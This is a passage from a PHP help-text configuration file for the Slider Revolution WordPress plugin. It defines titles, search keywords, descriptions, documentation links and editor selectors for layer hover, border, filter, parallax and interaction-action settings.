									$h => "hover.originZ",
									$k => array("animation origin", "animation originx", "transform origin", "transform-origin"),
									$d => __("The 'z' axis for the Layer's <a href='https://www.w3schools.com/cssref/css3_pr_transform-origin.asp' target='_blank'>transform-origin</a> on mouse hover.", 'revsliderhelp'),
									$a => $u . "mouse-hover-settings/#hover-transforms",
									$hl => array(
										$dp => array('layerselected'), 
										$m => "#module_layers_trigger, #gst_layer_9", 
										$st => '#form_layer_hover .form_inner:nth-child(2)', 
										$f => "*[data-r='hover.originZ']"
									)
								),
								'perspective' => array(
									$t => __("Transform Perspective", 'revsliderhelp'),
									$h => "hover.transformPerspective",
									$k => array("animation perspective", "perspective", "transform perspective", "transform-perspective", "3d"),
									$d => __("The <a href='https://developer.mozilla.org/en-US/docs/Web/CSS/perspective' target=_'blank'>CSS perspective</a> for the Layer on mouse hover", 'revsliderhelp'),
									$a => $u . "mouse-hover-settings/#hover-transforms",
									$hl => array(
										$dp => array('layerselected'), 
										$m => "#module_layers_trigger, #gst_layer_9", 
										$st => '#form_layer_hover .form_inner:nth-child(2)', 
										$f => "#le_frame_hover_perspective"
									)
								)
							)
						),
						'border_hover' => array(
							'border_color' => array(
								$t => __("Border Color", 'revsliderhelp'),
								$h => "hover.borderColor",
								$k => array("border", "border color", "layer border", "layer border color", "layers border"),
								$d => __("The border color for the Layer on mouse hover", 'revsliderhelp'),
								$a => $u . "mouse-hover-settings/#border-hover",
								$hl => array(
									$dp => array('layerselected'), 
									$m => "#module_layers_trigger, #gst_layer_9", 
									$st => '#form_layer_hover .form_inner:nth-child(6)', 
									$f => "#layerBorderColorHover"
								)
							),
							'border_style' => array(
								$t => __("Border Style", 'revsliderhelp'),
								$h => "hover.borderStyle",
								$k => array("border", "border style", "layer border", "layer border style", "layers border"),
								$d => __("The <a href='https://www.w3schools.com/cssref/pr_border-style.asp' target='_blank'>CSS border-style</a> for the Layer on mouse hover", 'revsliderhelp'),
								$a => $u . "mouse-hover-settings/#border-hover",
								$hl => array(
									$dp => array('layerselected'), 
									$m => "#module_layers_trigger, #gst_layer_9", 
									$st => '#form_layer_hover .form_inner:nth-child(6)', 
									$f => "#hover_layer_border_style"
								)
							),
							'border_size' => array(
								'border_width_top' => array(
									$t => __("Border Top Width", 'revsliderhelp'),
									$h => "hover.borderWidth.0",
									$k => array("border", "border size", "layer border", "layer border size", "layers border", "border-width"),
									$d => __("The border's top size (border-top-width) for the Layer on mouse hover", 'revsliderhelp'),
									$a => $u . "mouse-hover-settings/#border-hover",
									$hl => array(
										$dp => array('layerselected'), 
										$m => "#module_layers_trigger, #gst_layer_9", 
										$st => '#form_layer_hover .form_inner:nth-child(6)', 
										$f => "*[data-r='hover.borderWidth.0']"
									)
								),
								'border_width_right' => array(
									$t => __("Border Right Width", 'revsliderhelp'),
									$h => "hover.borderWidth.1",
									$k => array("border", "border size", "layer border", "layer border size", "layers border", "border-width"),
									$d => __("The border's right size (border-right-width) for the Layer on mouse hover", 'revsliderhelp'),
									$a => $u . "mouse-hover-settings/#border-hover",
									$hl => array(
										$dp => array('layerselected'), 
										$m => "#module_layers_trigger, #gst_layer_9", 
										$st => '#form_layer_hover .form_inner:nth-child(6)', 
										$f => "*[data-r='hover.borderWidth.1']"
									)
								),
								'border_width_bottom' => array(
									$t => __("Border Bottom Width", 'revsliderhelp'),
									$h => "hover.borderWidth.2",
									$k => array("border", "border size", "layer border", "layer border size", "layers border", "border-width"),
									$d => __("The border's bottom size (border-bottom-width) for the Layer on mouse hover", 'revsliderhelp'),
									$a => $u . "mouse-hover-settings/#border-hover",
									$hl => array(
										$dp => array('layerselected'), 
										$m => "#module_layers_trigger, #gst_layer_9", 
										$st => '#form_layer_hover .form_inner:nth-child(6)', 
										$f => "*[data-r='hover.borderWidth.2']"
									)
								),
								'border_width_left' => array(
									$t => __("Border Left Width", 'revsliderhelp'),
									$h => "hover.borderWidth.3",
									$k => array("border", "border size", "layer border", "layer border size", "layers border", "border-width"),
									$d => __("The border's left size (border-left-width) for the Layer on mouse hover", 'revsliderhelp'),
									$a => $u . "mouse-hover-settings/#border-hover",
									$hl => array(
										$dp => array('layerselected'), 
										$m => "#module_layers_trigger, #gst_layer_9", 
										$st => '#form_layer_hover .form_inner:nth-child(6)', 
										$f => "*[data-r='hover.borderWidth.3']"
									)
								)
							),
							'border_radius' => array(
								'border_radius_top_left' => array(
									$t => __("Border Radius Top Left", 'revsliderhelp'),
									$h => "hover.borderRadius.v.0",
									$k => array("border radius", "border-radius", "layer border radius", "layer border-radius"),
									$d => __("The top-left corner border-radius for the Layer on mouse hover (px or %)", 'revsliderhelp'),
									$a => $u . "mouse-hover-settings/#border-hover",
									$hl => array(
										$dp => array('layerselected'), 
										$m => "#module_layers_trigger, #gst_layer_9", 
										$st => '#form_layer_hover .form_inner:nth-child(6)', 
										$f => "*[data-r='hover.borderRadius.v.0']"
									)
								),
								'border_radius_top_right' => array(
									$t => __("Border Radius Top Right", 'revsliderhelp'),
									$h => "hover.borderRadius.v.1",
									$k => array("border radius", "border-radius", "layer border radius", "layer border-radius"),
									$d => __("The top-right corner border-radius for the Layer on mouse hover (px or %)", 'revsliderhelp'),
									$a => $u . "mouse-hover-settings/#border-hover",
									$hl => array(
										$dp => array('layerselected'), 
										$m => "#module_layers_trigger, #gst_layer_9", 
										$st => '#form_layer_hover .form_inner:nth-child(6)', 
										$f => "*[data-r='hover.borderRadius.v.1']"
									)
								),
								'border_radius_bottom_left' => array(
									$t => __("Border Radius Bottom Left", 'revsliderhelp'),
									$h => "hover.borderRadius.v.2",
									$k => array("border radius", "border-radius", "layer border radius", "layer border-radius"),
									$d => __("The bottom-left corner border-radius for the Layer on mouse hover (px or %)", 'revsliderhelp'),
									$a => $u . "mouse-hover-settings/#border-hover",
									$hl => array(
										$dp => array('layerselected'), 
										$m => "#module_layers_trigger, #gst_layer_9", 
										$st => '#form_layer_hover .form_inner:nth-child(6)', 
										$f => "*[data-r='hover.borderRadius.v.2']"
									)
								),
								'border_radius_bottom_right' => array(
									$t => __("Border Radius Bottom Right", 'revsliderhelp'),
									$h => "hover.borderRadius.v.3",
									$k => array("border radius", "border-radius", "layer border radius", "layer border-radius"),
									$d => __("The bottom-right corner border-radius for the Layer on mouse hover (px or %)", 'revsliderhelp'),
									$a => $u . "mouse-hover-settings/#border-hover",
									$hl => array(
										$dp => array('layerselected'), 
										$m => "#module_layers_trigger, #gst_layer_9", 
										$st => '#form_layer_hover .form_inner:nth-child(6)', 
										$f => "*[data-r='hover.borderRadius.v.3']"
									)
								)
							)
						),
						'filter_hover' => array(
							'blur' => array(
								$t => __("Blur Filter", 'revsliderhelp'),
								$h => "hover.filter.blur",
								$k => array("animate filter", "filter animation", "filter", "filters", "blur filter", "blur"),
								$d => __("The <a href='https://developer.mozilla.org/en-US/docs/Web/CSS/filter-function/blur' target='_blank'>blur filter</a> value for the Layer on mouse hover", 'revsliderhelp'),
								$a => $u . "mouse-hover-settings/#filter-hover",
								$hl => array(
									$dp => array('layerselected'), 
									$m => "#module_layers_trigger, #gst_layer_9", 
									$st => '#form_layerstyle_css_hover', 
									$f => "*[data-r='hover.filter.blur']"
								)
							),
							'brightness' => array(
								$t => __("Brightness", 'revsliderhelp'),
								$h => "hover.filter.brightness",
								$k => array("animate filter", "filter animation", "filter", "filters", "brightness filter", "brightness"),
								$d => __("The <a href='https://developer.mozilla.org/en-US/docs/Web/CSS/filter-function/brightness' target='_blank'>brightness filter</a> value for the Layer on mouse hover", 'revsliderhelp'),
								$a => $u . "mouse-hover-settings/#filter-hover",
								$hl => array(
									$dp => array('layerselected'), 
									$m => "#module_layers_trigger, #gst_layer_9", 
									$st => '#form_layerstyle_css_hover', 
									$f => "*[data-r='hover.filter.brightness']"
								)
							),
							'grayscale' => array(
								$t => __("Grayscale", 'revsliderhelp'),
								$h => "hover.filter.grayscale",
								$k => array("animate filter", "filter animation", "filter", "filters", "grayscale filter", "grayscale"),
								$d => __("The <a href='https://developer.mozilla.org/en-US/docs/Web/CSS/filter-function/grayscale' target='_blank'>grayscale filter</a> value for the Layer on mouse hover", 'revsliderhelp'),
								$a => $u . "mouse-hover-settings/#filter-hover",
								$hl => array(
									$dp => array('layerselected'), 
									$m => "#module_layers_trigger, #gst_layer_9", 
									$st => '#form_layerstyle_css_hover', 
									$f => "*[data-r='hover.filter.grayscale']"
								)
							)			
						)
					),
					'gst_layer_8' => array(
						'level' => array(
							$t => __("Parallax Level", 'revsliderhelp'),
							$h => "effects.parallax",
							$k => array("parallax", "layer parallax", "parallax 3d", "parallax level", "level", "3d level", "parallax layer", "depth", "parallax depth", "3d depth"),
							$d => __("The parallax depth level to use for the Layer.  Level values are defined in the Slider Settings.", 'revsliderhelp'),
							$a => $u . "layers-parallax-level/",
							$hl => array(
								$dp => array('layerselected'), 
								$m => "#module_layers_trigger, #gst_layer_8", 
								$st => '#form_layercontent_pddd', 
								$f => "#layer_parallax_level"
							)
						),
						'under_mask' => array(
							$t => __("Parallax Masking", 'revsliderhelp'),
							$h => "effects.pxmask",
							$k => array("parallax", "layer parallax", "parallax 3d", "parallax layer", "mask", "masking", "parallax mask"),
							$d => __("Apply a mask to the Layer as the Parallax Effect takes place.  When applied, the content will never bleed outside this mask.", 'revsliderhelp'),
							$a => $u . "layers-parallax-level/",
							$hl => array(
								$dp => array('layerselected'), 
								$m => "#module_layers_trigger, #gst_layer_8", 
								$st => '#form_layercontent_pddd', 
								$f => "#parallax_undermask"
							)
						),
						'timeline_scroll' => array(
							$t => __("Timeline Scroll Based", 'revsliderhelp'),
							$h => "timeline.scrollBased",
							$k => array("parallax", "layer parallax", "parallax layer", "timeline", "timeline scroll", "timeline scroll based", "scroll"),
							$d => __("Choose to animate the Layer's animation timeline as the Module scrolls into and out of view", 'revsliderhelp'),
							$a => $u . "layers-parallax-level/",
							$hl => array(
								$dp => array('layerselected'), 
								$m => "#module_layers_trigger, #gst_layer_8", 
								$st => '#form_layertimeline_scrollbased', 
								$f => "#layer_timlinescroll_level"
							)
						),
						'filter_effects' => array(
							$t => __("Filter Effect Scroll Based", 'revsliderhelp'),
							$h => "effects.effect",
							$k => array("parallax", "layer parallax", "parallax layer", "filter", "filters", "scroll", "filter effect"),
							$d => __("Enable/Disable filter effects for the Layer as the Module scrolls into and out of view.  Filter effects applied via the <a href='http://docs.themepunch.com/slider-revolution/scroll-effects/' target='_blank'>Module Settings</a>", 'revsliderhelp'),
							$a => $u . "layers-parallax-level/",
							$hl => array(
								$dp => array('layerselected'), 
								$m => "#module_layers_trigger, #gst_layer_8", 
								$st => '#form_layertimeline_scrollbased', 
								$f => "#layer_effectscroll_level"
							)
						)
					),
					'gst_layer_5' => array(
						'interaction' => array(
							$t => __("Interaction", 'revsliderhelp'),
							$h => "actions.action.#actionindex#.tooltip_event",
							$k => array("actions", "interation", "link", "hyperlink", "link layer", "layer link", "click", "hover", "mouseover", "mouse over", "mouse hover", "button", "button action"),
							$d => __("Choose if the Action should occur on user-click, mouse-over or mouse-out", 'revsliderhelp'),
							$a => $u . "actions-panel-overview/",
							$hl => array(
								$dp => array('.single_layer_action:first-child'), 
								$m => "#module_layers_trigger, #gst_layer_5", 
								$st => '{actions}#layeraction_group_link', 
								$f => "#layeraction_picker_link, #action_interaction",
								'modal' => 'actions'
							)
						),
						'action_type' => array(
							$di => "layer_action_type",
							$t => __("Action Type", 'revsliderhelp'),
							$h => "actions.action.#actionindex#.action",
							$k => array("actions", "action type", "link", "hyperlink", "link layer", "layer link", "click", "hover", "mouseover", "mouse over", "mouse hover"),
							$d => __("Choose which Action should occur when the user interacts with the Layer", 'revsliderhelp'),
							$a => $u . "actions-panel-overview/",
							$hl => array(
								$dp => array('.single_layer_action:first-child'), 
								$m => "#module_layers_trigger, #gst_layer_5", 
								$st => '{actions}#layeraction_group_link', 
								$f => "#layeraction_picker_link, #layer_action_type",
								'modal' => 'actions'
							)
						),
						'action_delay' => array(
							$t => __("Action Delay", 'revsliderhelp'),
							$h => "actions.action.#actionindex#.action_speed",
							$k => array("action delay", "delay", "delay action"),
							$d => __("Add an optional delay before the Action occurs (in milliseconds)", 'revsliderhelp'),
							$a => $u . "actions-panel-overview/",
							$hl => array(
								$dp => array('.single_layer_action:first-child'), 
								$m => "#module_layers_trigger, #gst_layer_5", 
								$st => '{actions}#layeraction_group_link', 
								$f => "#layeraction_picker_link, #layer_action_delay",
								'modal' => 'actions'
							)
						),
						'link_actions' => array(
							'simple_link' => array(
								'link_url' => array(
									$t => __("Link URL", 'revsliderhelp'),
									$h => "actions.action.#actionindex#.image_link",
									$k => array("action", "actions", "link", "simple link", "hyperlink", "link layer", "layer link", "link url", "url", "button link", "link button"),
									$d => __("The url to navigate to for the 'Simple Link' Action", 'revsliderhelp'),
									$a => $u . "simple-link/",
									$hl => array(
										$dp => array(
											'.single_layer_action:first-child', 
											array($p => '#slide#.layers.#layer#.actions.action.#action#.action', $v => 'link', $o => 'layer_action_type')
										), 
										$m => "#module_layers_trigger, #gst_layer_5", 
										$st => '{actions}#layeraction_group_link', 
										$f => "#layeraction_picker_link, #la_image_link",
										'modal' => 'actions'
									)
								),
								'link_target' => array(
									$t => __("Link Target", 'revsliderhelp'),
									$h => "actions.action.#actionindex#.link_open_in",
									$k => array("link", "simple link", "hyperlink", "link layer", "layer link", "link target"),
									$d => __("Choose if the link should be opened in the same window or in a new window", 'revsliderhelp'),
									$a => $u . "simple-link/",
									$hl => array(
										$dp => array(
											'.single_layer_action:first-child', 
											array($p => '#slide#.layers.#layer#.actions.action.#action#.action', $v => 'link', $o => 'layer_action_type')
										), 
										$m => "#module_layers_trigger, #gst_layer_5", 
										$st => '{actions}#layeraction_group_link', 
										$f => "#layeraction_picker_link, #la_link_open_in",
										'modal' => 'actions'
									)
								),
								'link_type' => array(
									$t => __("Link Type", 'revsliderhelp'),
									$h => "actions.action.#actionindex#.link_type",
									$k => array("simple link", "link type"),
									$d => __("Use a traditional HTML hyperlink tag or trigger the Action via a jQuery event", 'revsliderhelp'),
									$a => $u . "simple-link/",
									$hl => array(
										$dp => array(
											'.single_layer_action:first-child', 
											array($p => '#slide#.layers.#layer#.actions.action.#action#.action', $v => 'link', $o => 'layer_action_type')
										), 
										$m => "#module_layers_trigger, #gst_layer_5", 
										$st => '{actions}#layeraction_group_link', 
										$f => "#layeraction_picker_link, #la_link_type",
										'modal' => 'actions'
									)
								),
								'follow' => array(
									$t => __("Follow", 'revsliderhelp'),
									$h => "actions.action.#actionindex#.link_follow",
									$k => array("simple link", "follow", "nofollow", "no follow"),
									$d => __("Choose 'No Follow' to discourage search engines from indexing index the link", 'revsliderhelp'),
									$a => $u . "simple-link/",
									$hl => array(
										$dp => array(
											'.single_layer_action:first-child', 
											array($p => '#slide#.layers.#layer#.actions.action.#action#.action', $v => 'link', $o => 'layer_action_type')
										), 
										$m => "#module_layers_trigger, #gst_layer_5", 
										$st => '{actions}#layeraction_group_link', 
										$f => "#layeraction_picker_link, #la_link_follow",
										'modal' => 'actions'
									)
								)
							),
							'call_back' => array(
								$t => __("Call Back Function", 'revsliderhelp'),
								$h => "actions.action.#actionindex#.actioncallback",
								$k => array("action", "actions", "call back", "javascript", "javascript callback"),
								$d => __("Call an external JavaScript function on user-interaction", 'revsliderhelp'),
								$a => $u . "simple-link/",
								$hl => array(
									$dp => array(
										'.single_layer_action:first-child', 
										array($p => '#slide#.layers.#layer#.actions.action.#action#.action', $v => 'callback', $o => 'layer_action_type')
									), 
									$m => "#module_layers_trigger, #gst_layer_5", 
									$st => '{actions}#layeraction_group_link', 
									$f => "#layeraction_picker_callback, #la_actioncallback",
									'modal' => 'actions'
								)
							),
							'scroll_below_slider' => array(
								'scroll_offset' => array(
									$t => __("Scroll Offset", 'revsliderhelp'),
									$h => "actions.action.#actionindex#.scrollunder_offset",
									$k => array("action", "actions", "scroll", "scroll action", "scroll below slider", "scroll offset"),
									$d => __("The page will scroll to content below the Slider, and this offset will add or subtract pixels to the total amount scrolled.", 'revsliderhelp'),
									$a => $u . "simple-link/",
									$hl => array(
										$dp => array(
											'.single_layer_action:first-child', 
											array($p => '#slide#.layers.#layer#.actions.action.#action#.action', $v => 'scroll_under', $o => 'layer_action_type')
										), 
										$m => "#module_layers_trigger, #gst_layer_5", 
										$st => '{actions}#layeraction_group_link', 
										$f => "#layeraction_picker_scroll_under, #la_scrollunder_offset",
										'modal' => 'actions'
									)
								),
								'easing' => array(
									$t => __("Scroll Easing", 'revsliderhelp'),
									$h => "actions.action.#actionindex#.action_easing",
									$k => array("scroll", "scroll action", "scroll easing"),
									$d => __("The easing equation for the Scroll Action.  <a href='https://greensock.com/ease-visualizer' target=_'blank'>View visualization</a>", 'revsliderhelp'),
									$a => $u . "simple-link/",
									$hl => array(
										$dp => array(
											'.single_layer_action:first-child', 
											array($p => '#slide#.layers.#layer#.actions.action.#action#.action', $v => 'scroll_under', $o => 'layer_action_type')
										), 
										$m => "#module_layers_trigger, #gst_layer_5", 
										$st => '{actions}#layeraction_group_link', 
										$f => "#layeraction_picker_scroll_under, #la_action_easing",
										'modal' => 'actions'
									)
								),
								'duration' => array(
									$t => __("Scroll Duration", 'revsliderhelp'),
									$h => "actions.action.#actionindex#.action_speed",
									$k => array("scroll", "scroll action", "scroll duration"),
									$d => __("The easing duration for the Scroll Action in milliseconds", 'revsliderhelp'),
									$a => $u . "simple-link/",
									$hl => array(
										$dp => array(
											'.single_layer_action:first-child', 
											array($p => '#slide#.layers.#layer#.actions.action.#action#.action', $v => 'scroll_under', $o => 'layer_action_type')
										), 
										$m => "#module_layers_trigger, #gst_layer_5", 
										$st => '{actions}#layeraction_group_link', 
										$f => "#layeraction_picker_scroll_under, #la_saction_speed",
										'modal' => 'actions'
									)
								),
							)
						),
						'slide_actions' => array(
							'jump_to_slide' => array(
								$t => __("Jump to Slide", 'revsliderhelp'),
								$h => "actions.action.#actionindex#.jump_to_slide",
								$k => array("action", "actions", "jump", "jump to slide", "change slides"),
								$d => __("Link the Layer to a specific Slide", 'revsliderhelp'),
								$a => $u . "slide-actions/",
								$hl => array(
									$dp => array(
										'.single_layer_action:first-child', 
										array($p => '#slide#.layers.#layer#.actions.action.#action#.action', $v => 'jumpto', $o => 'layer_action_type')
									), 
									$m => "#module_layers_trigger, #gst_layer_5", 
									$st => '{actions}#layeraction_group_slide', 
									$f => "#layeraction_picker_jumpto, #la_jump_to_slide",
									'modal' => 'actions'
								)
							),
							'next_prev_slide' => array(
								$t => __("Next/Previous Slide", 'revsliderhelp'),
								$h => "layeraction_picker_next",
								$k => array("action", "actions", "next slide", "prev slide", "previous slide", "link to slide", "change slides"),
								$d => __("Change to the next or previous Slide on user-interaction", 'revsliderhelp'),
								$a => $u . "slide-actions/",
								$hl => array(
									$dp => array(
										'.single_layer_action:first-child', 
										array($p => '#slide#.layers.#layer#.actions.action.#action#.action', $v => 'next::prev', $o => 'layer_action_type')
									), 
									$m => "#module_layers_trigger, #gst_layer_5", 
									$st => '{actions}#layeraction_group_slide', 
									$f => "#layeraction_picker_prev, #layeraction_picker_next, #layer_action_type",
									'modal' => 'actions'
								)
							),
							'pause_play_slider' => array(
								$t => __("Pause/Play Slider", 'revsliderhelp'),
								$h => "layeraction_picker_pause",
								$k => array("action", "actions", "pause slide", "progress", "pause slider", "pause progress", "pause", "play slide", "play slider", "play", "resume", "resume progress", "play button", "pause button"),
								$d => __("Pause or Resume the Slider's progress on user-interaction", 'revsliderhelp'),
								$a => $u . "slide-actions/",
								$hl => array(
									$dp => array(
										'.single_layer_action:first-child', 
										array($p => '#slide#.layers.#layer#.actions.action.#action#.action', $v => 'pause::resume', $o => 'layer_action_type')
									), 
									$m => "#module_layers_trigger, #gst_layer_5", 
									$st => '{actions}#layeraction_group_slide', 
									$f => "#layeraction_picker_pause, #layeraction_picker_resume, #layer_action_type",
									'modal' => 'actions'
								)
							),
							'toggle_slider' => array(
								$t => __("Toggle Slider", 'revsliderhelp'),
								$h => "layeraction_picker_toggle_slider",
								$k => array("pause slide", "progress", "pause slider", "pause progress", "pause", "play slide", "progress", "play slider", "play", "resume", "resume progress", "toggle", "toggle slider", "toggle progress"),
								$d => __("Play/Pause the Slider on user-interaction", 'revsliderhelp'),
								$a => $u . "slide-actions/",
								$hl => array(
									$dp => array(
										'.single_layer_action:first-child', 
										array($p => '#slide#.layers.#layer#.actions.action.#action#.action', $v => 'toggle_slider', $o => 'layer_action_type')
									), 
									$m => "#module_layers_trigger, #gst_layer_5", 
									$st => '{actions}#layeraction_group_slide', 
									$f => "#layeraction_picker_toggle_slider, #layer_action_type",
									'modal' => 'actions'
								)
							)
						),
						'layer_actions' => array(
							'start_layer_in_out_animation' => array(
								$t => __("Start Layer In/Out Animation", 'revsliderhelp'),
								$h => "layeraction_picker_start_in",
								$k => array("animation", "action", "actions", "start animation", "play animation", "start layer in animation", "start layer out animation", "layer animation"),
								$d => __("Play a Layer's animation on-demand to show or hide the Layer", 'revsliderhelp'),
								$a => $u . "layer-actions/",
								$hl => array(
									$dp => array(
										'.single_layer_action:first-child', 
										array($p => '#slide#.layers.#layer#.actions.action.#action#.action', $v => 'start_in::start_out', $o => 'layer_action_type')
									), 
									$m => "#module_layers_trigger, #gst_layer_5", 
									$st => '{actions}#layeraction_group_layer', 
									$f => "#layeraction_picker_start_in, #layeraction_picker_start_out, #layer_action_type",
									'modal' => 'actions'
								)
							),
							'toggle_layer_animation' => array(
								$t => __("Toggle Layer Animation", 'revsliderhelp'),
								$h => "layeraction_picker_toggle_layer",
								$k => array("start animation", "play animation", "start layer out animation", "layer animation", "toggle animation", "toggle layer", "toggle layer animation", "toggle"),
								$d => __("Toggle any given Layer's animation in and out of view", 'revsliderhelp'),
								$a => $u . "layer-actions/",
								$hl => array(
									$dp => array(
										'.single_layer_action:first-child', 
										array($p => '#slide#.layers.#layer#.actions.action.#action#.action', $v => 'toggle_layer', $o => 'layer_action_type')
									), 
									$m => "#module_layers_trigger, #gst_layer_5", 
									$st => '{actions}#layeraction_group_layer', 
									$f => "#layeraction_picker_toggle_layer, #layer_action_type",
									'modal' => 'actions'
								)
							),
							'simulate_click' => array(
								$t => __("Simulate Click", 'revsliderhelp'),
								$h => "layeraction_picker_simulate_click",
								$k => array("simulate click", "click action", "jQuery click", "trigger", "trigger click"),
								$d => __("Trigger a jQuery click event on any given Layer", 'revsliderhelp'),
								$a => $u . "layer-actions/",
								$hl => array(
									$dp => array(
										'.single_layer_action:first-child', 
										array($p => '#slide#.layers.#layer#.actions.action.#action#.action', $v => 'simulate_click', $o => 'layer_action_type')
									), 
									$m => "#module_layers_trigger, #gst_layer_5", 
									$st => '{actions}#layeraction_group_layer', 
									$f => "#layeraction_picker_simulate_click, #layer_action_type",
									'modal' => 'actions'
								)
							),
							'toggle_class' => array(
								$t => __("Toggle Class", 'revsliderhelp'),
								$h => "actions.action.#actionindex#.toggle_class",
								$k => array("action", "actions", "class", "class name", "layer class", "add layer class", "remove layer class", "toggle class"),
								$d => __("Toggle (add/remove) a Layer's class name on user-interaction", 'revsliderhelp'),
								$a => $u . "layer-actions/",
								$hl => array(
									$dp => array(
										'.single_layer_action:first-child', 
										array($p => '#slide#.layers.#layer#.actions.action.#action#.action', $v => 'toggle_class', $o => 'layer_action_type')
									), 
									$m => "#module_layers_trigger, #gst_layer_5", 
									$st => '{actions}#layeraction_group_layer', 
									$f => "#layeraction_picker_toggle_class, #la_toggle_class",
									'modal' => 'actions'
								)
							),
							'layer_action_settings' => array(
								'target_layer' => array(
									$t => __("Target Layer", 'revsliderhelp'),
									$h => "actions.action.#actionindex#.layer_target",
									$k => array("start animation", "play animation", "start layer in animation", "layer animation", "toggle class"),
									$d => __("Choose which Layer to target for the Layer Action", 'revsliderhelp'),
									$a => $u . "layer-actions/",
									$hl => array(
										$dp => array(
											'.single_layer_action:first-child', 
											array($p => '#slide#.layers.#layer#.actions.action.#action#.action', $v => 'start_in::start_out::toggle_layer::simulate_click::toggle_class', $o => 'layer_action_type')
										), 
										$m => "#module_layers_trigger, #gst_layer_5", 
										$st => '{actions}#layeraction_group_layer', 
										$f => "#layeraction_picker_start_in, #la_layer_target",
										'modal' => 'actions'
									)
								),
								'animation_timing' => array(
									$t => __("Animation Timing", 'revsliderhelp'),
									$h => "actions.animationoverwrite",
									$k => array("animation timing", "animation action"),
									$d => __("Choose the Layer's default animation behavior in relation to the selected Action", 'revsliderhelp'),
									$a => $u . "layer-actions/",
									$hl => array(
										$dp => array(
											'.single_layer_action:first-child', 
											array($p => '#slide#.layers.#layer#.actions.action.#action#.action', $v => 'start_in::start_out::toggle_layer', $o => 'layer_action_type')
										), 
										$m => "#module_layers_trigger, #gst_layer_5", 
										$st => '{actions}#layeraction_group_layer', 
										$f => "#layeraction_picker_start_in, #la_animationoverwrite",
										'modal' => 'actions'
									)
								),
								'trigger_memory' => array(
									$t => __("Trigger Memory", 'revsliderhelp'),
									$h => "actions.triggerMemory",
									$k => array("trigger memory", "reset animation", "reset", "reset layer", "reset layer animation"),
									$d => __("Choose if the Layer's animation behavior should reset or not when the Slide replays again", 'revsliderhelp'),
									$a => $u . "layer-actions/",
									$hl => array(
										$dp => array(
											'.single_layer_action:first-child', 
											array($p => '#slide#.layers.#layer#.actions.action.#action#.action', $v => 'start_in::start_out::toggle_layer', $o => 'layer_action_type')
										), 
										$m => "#module_layers_trigger, #gst_layer_5", 
										$st => '{actions}#layeraction_group_layer', 
										$f => "#layeraction_picker_start_in, #la_triggerMemory",
										'modal' => 'actions'
									)
								)
							)
						),
						'media_actions' => array(
							'start_stop_media' => array(
								$t => __("Play/Pause Media", 'revsliderhelp'),
								$h => "layeraction_picker_start_video",
								$k => array("media", "video", "audio", "start media", "play media", "pause media", "end media", "resume media", "stop media", "play video", "stop video", "play audio", "stop audio", "resume", "resume media", "play button", "pause button"),
								$d => __("Play or pause Video or Audio on user-interaction", 'revsliderhelp'),
								$a => $u . "media-actions/",
								$hl => array(
									$dp => array(
										'.single_layer_action:first-child', 
										array($p => '#slide#.layers.#layer#.actions.action.#action#.action', $v => 'start_video::stop_video', $o => 'layer_action_type')
									), 
									$m => "#module_layers_trigger, #gst_layer_5", 
									$st => '{actions}#layeraction_group_media', 
									$f => "#layeraction_picker_start_video, #layeraction_picker_stop_video, #layer_action_type",
									'modal' => 'actions'
								)
							),
							'toggle_media' => array(
								$t => __("Toggle Media Play/Pause", 'revsliderhelp'),
								$h => "layeraction_picker_toggle_video",
								$k => array("media", "video", "audio", "start media", "play media", "pause media", "end media", "resume media", "stop media", "play video", "stop video", "play audio", "stop audio", "resume", "resume media", "play button", "pause button"),
								$d => __("Toggle a video or audio's play state on user-interaction", 'revsliderhelp'),
								$a => $u . "media-actions/",
								$hl => array(
									$dp => array(
										'.single_layer_action:first-child', 
										array($p => '#slide#.layers.#layer#.actions.action.#action#.action', $v => 'toggle_video', $o => 'layer_action_type')
									), 
									$m => "#module_layers_trigger, #gst_layer_5", 
									$st => '{actions}#layeraction_group_media', 
									$f => "#layeraction_picker_toggle_video, #layer_action_type",
									'modal' => 'actions'
								)
							),
							'mute_unmute_media' => array(
								$t => __("Mute/Unmute Media", 'revsliderhelp'),
								$h => "layeraction_picker_mute_video",
								$k => array("media", "video", "audio", "mute", "unmute", "mute media", "unmute media", "sound", "pause sound", "turn off", "turn off sound", "mute button"),
								$d => __("Mute or Unmute the sound from a video or audio Layer on user-interaction", 'revsliderhelp'),
								$a => $u . "media-actions/",
								$hl => array(
									$dp => array(
										'.single_layer_action:first-child', 
										array($p => '#slide#.layers.#layer#.actions.action.#action#.action', $v => 'mute_video::unmute_video', $o => 'layer_action_type')
									), 
									$m => "#module_layers_trigger, #gst_layer_5", 
									$st => '{actions}#layeraction_group_media', 
									$f => "#layeraction_picker_mute_video, #layeraction_picker_unmute_video, #layer_action_type",
									'modal' => 'actions'
								)
							),
							'toggle_mute_media' => array(
								$t => __("Toggle Mute (All) Media", 'revsliderhelp'),
								$h => "layeraction_picker_toggle_mute_video",
								$k => array("media", "video", "audio", "mute", "unmute", "mute media", "unmute media", "sound", "pause sound", "turn off", "turn off sound", "mute button"),
								$d => __("Toggle sound from a single video or audio Layer, or toggle all video/audio sound that exists in the Slide", 'revsliderhelp'),
								$a => $u . "media-actions/",
								$hl => array(
									$dp => array(
										'.single_layer_action:first-child', 
										array($p => '#slide#.layers.#layer#.actions.action.#action#.action', $v => 'toggle_mute_video::toggle_global_mute_video', $o => 'layer_action_type')
									), 
									$m => "#module_layers_trigger, #gst_layer_5", 
									$st => '{actions}#layeraction_group_media', 
									$f => "#layeraction_picker_toggle_mute_video, #layeraction_picker_toggle_global_mute_video, #layer_action_type",
									'modal' => 'actions'
								)
							)
						),
						'fullscreen_actions' => array(
							'enter_exit_fullscreen' => array(
								$t => __("Enter/Exit Fullscreen", 'revsliderhelp'),
								$h => "layeraction_picker_gofullscreen",
								$k => array("full", "fullscreen", "full screen", "full screen button", "fullscreen button", "exit fullscreen", "enter fullscreen", "enter full screen", "go fullscreen", "go full screen"),
								$d => __("Take the Slider fullscreen or exit fullscreen on user-interaction", 'revsliderhelp'),
								$a => $u . "fullscreen-actions/",
								$hl => array(
									$dp => array(
										'.single_layer_action:first-child', 
										array($p => '#slide#.layers.#layer#.actions.action.#action#.action', $v => 'gofullscreen::exitfullscreen', $o => 'layer_action_type')
									), 
									$m => "#module_layers_trigger, #gst_layer_5", 
									$st => '{actions}#layeraction_group_fullscreen', 
									$f => "#layeraction_picker_gofullscreen, #layeraction_picker_exitfullscreen, #layer_action_type",
									'modal' => 'actions'
								)
							),
							'toggle_fullscreen' => array(
								$t => __("Toggle Fullscreen", 'revsliderhelp'),
								$h => "layeraction_picker_togglefullscreen",
